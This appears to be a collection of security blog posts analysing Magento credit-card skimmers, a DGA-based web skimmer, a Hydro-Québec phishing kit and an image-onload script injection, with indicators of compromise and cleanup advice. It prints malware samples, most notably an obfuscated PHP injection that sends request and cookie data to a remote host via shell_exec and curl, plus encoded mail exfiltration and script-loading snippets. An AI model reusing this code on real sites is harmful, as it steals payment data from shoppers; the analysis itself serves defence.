Web Skimmer With a Domain Name Generator –...

This note is a follow up to our recent post about a web skimmer that uses a dynamic domain name generating algorithm. This week, analyst Ben Martin found another variation of the same malware. The script looks very similar.

web skimmer domain name generator

The changes here are pretty minor: it uses a “ql” domain prefix instead of “qr” and the Math.sin() function instead of Math.cos(). This new variation also uses the name of the compromised site as the script path on the generated malicious domain.

[location.host,'js'].join('.')

Otherwise, the idea is identical — the generated domain names are based on the current month and year. As seen in the original post, the domains for March through December of 2020 are already registered.

March ql202141[.]pw
April ql201243[.]pw
May ql201041[.]pw
June ql201721[.]pw
July ql202657[.]pw
August ql202989[.]pw
September ql202412[.]pw
October ql201456[.]pw
November ql201000[.]pw
December ql201463[.]pw

All of these domains were registered on March 13th, 2020 within one minute by a user with the email valentinakrudyanova@yandex.ru. Domains from the original post were registered on March 18th, 2020, indicating that this “ql” variation is a predecessor for the “qr” campaign.

A URL scan indicates that this variant has been in use since mid-March: ql202141.]pw domain.

The obfuscated scripts served by the generated domains are web skimmers similar to what we described in the previous post. In this case, they send stolen data to hxxps://mykada[.]com/js/ar/ar7938.php, a domain previously mentioned in a February post by Marco Ramilli. Back then, the malware was also found to be using exfiltration URLs like hxxps://mykada[.]com/js/ar/ar2497.php.

If you believe your Magento website has been infected, you can refer to our hacked Magento guide for step-by-step instructions on how to remove malware and harden a compromised environment.

Magento JavaScript Skimmer Targets Tarjetas de Crédito

A website owner recently contacted us regarding a payment problem on their Magento website. A suspicious payment card form was loading for customers who were trying to pay for items in their shopping cart:

suspicious payment card form

This payment card form should NOT be displayed when the Tarjeta de Credito DISCOVER radio button is selected from the purchase process. The malicious "feature" was found to be loading due to an injection using the Javascript .click() event on the onestepcheckout-place-order element. This injection allows attackers to display their form and skim payment card details as they are entered.

 injection allowing attackers to display the malicious form  and skim credit card information

To exfiltrate the skimmed payment card data, the injection continues to use Javascript to encode data and send it to the malicious domain cdn-filestore[.]com, which itself is encoded in base64 to evade detection. All of this is accomplished through a Javascript function defined in the injection under the name onestepcheckout_payment():

function defined in malicious injection

After removing the malicious injection, the skimmer form no longer shows up on the checkout page of the Magento website. Instead, it shows the correct text and behavior which informs customers that they will be redirected to the payment processor’s website after submitting their order.

redirect to payment processor

It’s imperative that Magento websites take e-commerce security seriously, as they are responsible for customer data and breaches of transaction data on their online store. Perform regular security scans to detect infections, identify malware, and pinpoint other indicators of compromise.

Magento Credit Card Stealer: harilov[.]com

Our Remediation team lead Ben Martin recently discovered a single line obfuscated PHP injection in the main index.php file of a Magento 1.9.x website. It was being used to capture and exfiltrate payment card data from an infected website as soon as a victim submits their information.

ini_set('display_errors', 0); error_reporting(0); $hBcS = implode("_", array("str", implode("", array('ro','t13')))); $PXZum = $hBcS('onfr64_rapbqr'); $AiPVp=$hBcS('onfr64_qrpbqr'); $rKwfSV = $hBcS('frevnyvmr'); $PHCUqZ=$hBcS($AiPVp('Y2VydF96bmdwdQ==')); $kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');  if ($PHCUqZ("/".$AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=')."/i", $rKwfSV($_REQUEST))) $GwYqF=$kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")).' "'.trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")).$PXZum( $rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE))."&host=".$_SERVER["HTTP_HOST"]."\" ".trim($AiPVp('aHR0cDovL2hhcmlsb3YuY29tL3Rlc3RTZXJ2ZXIucGhw')).' '.trim($AiPVp("ID4gL2Rldi9udWxsIDI+JjEgJg==")));

After beautifying the initial injection, it becomes easier to read. The obfuscation is light and primarily uses rot13 and base64 encoding to obfuscate the actual PHP.

<?php
$hBcS = implode("_", array("str", implode("", array('ro','t13'))));
// $hBcS = str_rot13
$PXZum = $hBcS('onfr64_rapbqr');
// $PXZum = base64_encode
$AiPVp = $hBcS('onfr64_qrpbqr');
// $AiPVp = base64_decode
$rKwfSV = $hBcS('frevnyvmr');
// $rKwfSV = serialize
$PHCUqZ = $hBcS($AiPVp('Y2VydF96bmdwdQ=='));
// $PHCUqZ = preg_match
$kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');
// $kusahdjI = shell_exec
?>

As seen above, I have included comments below the malicious lines of PHP to help clarify the decoded PHP functions. These functions are important since they are used to capture and exfiltrate the payment card data later in the code.

When decoded, the string Y2VydF96bmdwdQ== becomes the function preg_match, which is used to detect a variety of payment field details from HTTP requests data sent to the file.

Since the malicious code is being injected into Magento’s main index.php file, it is typically loaded whenever visitors make a request to the infected website’s checkout page. If one of the fields defined in the preg_match function are detected, then the PHP function shell_exec is used to initiate a curl request. This request sends the detected payment field data to the C2 host harilov[.]com/testServer[.]php through a crafted POST HTTP request.

To evade detection, the malware directs any possible output from the curl request to /dev/null. The PHP injection itself also contains error_reporting(0), which is used to silence any PHP errors occurring from the injected code.

if ($PHCUqZ("/" . $AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=') . "/i", $rKwfSV($_REQUEST)))
//if preg_match('/cvc2|username|shipping|card_number|cc_|dummy|payment|year|securetrading|firstname|expiry|month|login|cc_number|cvv|billing/i', serialize($_REQUEST))
$GwYqF = $kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")) . ' "' . trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")) . $PXZum($rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE)) . "&host=" . $_SERVER["HTTP_HOST"] . "\" " . trim($AiPVp('aHR0cDovL2xvY2FsaG9zdC9jdXJsLnBocA==')));
//shell_exec(curl --data "version=1&encode=base64_encode(serialize($_REQUEST))--cookiestring&host=hxxp%3A%2F%2Fharilov[.]com%2FtestServer.php"  > /dev/null 2>&1 &)

The best way to mitigate this type of injection is to use website monitoring with server side scanning capabilities to detect changes within the entire website environment.

KOSONG Credit Card Stealer

Our security analyst Christopher Morrow recently discovered a server-side Magento skimmer that was injected into the savePayment function in the app/code/core/Mage/Checkout/Model/Type/Onepage.php file.

Skimmer in Onepage.php

This code emails payment details to "reachead@yandex[.]com", then sends them to a script on a remote server: "hxxps://smartxenons[.]co.uk//new/img/Opage.php".

While you can clearly see the curl request to the malicious URL, both the email address and the code responsible for sending the email are obfuscated:

$idkey = "base"."64"."_"."de"."code";
        $update = "ma"."il"";
        $encsrv = $idkey("cmVhY2hlYWRAeWFuZGV4LmNvbQ==");  
        $update($encsrv, $subject, $datasend, $ipcid);
        $update($encsrv, $subject, $xupdate, $ipcid);

Although the attackers use the Russian Yandex service to receive the emails, I suspect they are most likely from either Indonesia or Malaysia. The malware uses the words "KOSONG" as a placeholder for missing payment details. In Indonesian and Malay languages this word means "empty" or "blank".

Hydro-Quebec phishing

We have found an interesting phishing kit containing numerous phishing pages which target large, popular brands like Amazon and Paypal. What was interesting about this kit was that it also included a phishing page that was more unusual: Hydro-Québec.

**./administrator/help/rembouresement/hydroquebec/Hydro/quebec/Login.html**

Hydro-Québec is a public utility company that primarily sells to customers within Québec, Canada. As the overall population of Québec, Canada is about 8.4 million people, this limits the number of possible victims when comparing it to a larger userbase of a national or international businesses with hundreds of millions of users.

WombatSecurity’s phishing statistics show an average click rate of just 9% for the average phishing email, which demonstrates why large userbases are considerably more attractive to malicious users. Nevertheless, Hydro-Québec recently sent a notice to its customers to be on the lookout for suspicious emails.

This particular phishing campaign is being sent to customers and promises a refund of over $100 USD - under the condition that the victim provides their personal and payment information. This private information is then sent to a PHP mail script that sends the stolen data to an email address specified by the malicious user.

This phishing kits exfiltrates the stolen data through a PHP mail script and uses three separate PHP scripts that send the field data from their respective phishing page.

The phishing page responsible for requesting the credit card data was using the following script:

malicious script

I was also surprised to see that the creator of the phishing page was brazen enough to blatantly ask for the credit limit of the payment card, which is highly unusual and not asked by merchants:
phishing site requesting credit card information

CC Stealing code pretending to be Bing ads.

During a recent investigation we found this suspicious code pretending to be associated with Bing ads.After further review, we see that the code is actually injecting JavaScript from “js-mini[.]com”.The injected code is then used to capture credit card information on Magento sites and sending it to the same domain.

Here is some of the code that was loading from js-mini[.]com/ajax/libs/jquery-1.1.2.js:

You can see that the code is harvesting the login credentials and attempting to send the data to an external destination.

This code was found in the database of a Magento site under core_config_data.value, config_id = 40

It’s unknown how many credentials were harvested by this malware, but you can see how malware can be heavily obfuscated and made to look like legitimate code. If ignored, this code could have kept stealing personal data from people shopping online. We recommend making sure that your ecommerce site is up to date on all of its patches and look for any code loading from external sources, as this could be a sign of malware.

Images Loading Credit Card Swipers

We’ve come across an interesting approach to injecting credit card swipers into Magento web pages.

Instead of injecting a real script, attackers insert a seemingly benign, invisible image from the same site. The catch is, the tag has an "onload" event handler that loads the malicious script.

The injected HTML code looks like this:

<span style="display:none;"><img src="https://www.<redacted>.com/media/wysiwyg/infortis/ultimo/icons/info.png"  onload="var  o=document.createElement('script');o.src=atob('Ly9jb2xkanMuY29tL2Nk...redacted...2MmZpdw==');var   s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(o,  s);"></span>

It is comprised of a tag with the "display:none;" style, which makes the image invisible, and an tag that loads some legitimate image from the compromised site (which makes it look less suspicious). The onload handler creates a new script element with a base64-encoded src parameter (decoded by atob.)

In the above example, the decoded src ( coldjs[.]com/cdn/dnb36346262fiw) is a URL of a credit card stealing script.

Customization

The attackers took the time to customize this malware for every compromised site. Not only do they pick real images from the victim’s site but also use different domains for the loaded scripts.

Here are just a few of the domains used by this campaign:

    monsterengy[.]com - creation date: 2018-10-12
    cosrcmax[.]com - creation date: 2018-10-31
    jschef[.]com - creation date: 2019-01-16
    googietagmanagar[.]com - creation date: 2019-03-10
    cubejs[.]com - creation date: 2019-03-13
    coldjs[.]com - creation date: 2019-03-13

The script paths are also individualized. They contain parts of the second-level domain (SLD) names of the victims sites.

    /<SLD>
    /www.<SLD>.com
    /cdn/<part-of-SLD>36346262fiw
    /cdn/<SLD>/4879465
    /<part-of-SLD>/502osja66ds.js

Given their random nature and occasional typos, we can assume that they are generated manually.

On sites that we cleaned, the malware was injected into the header template of the core_config_data table.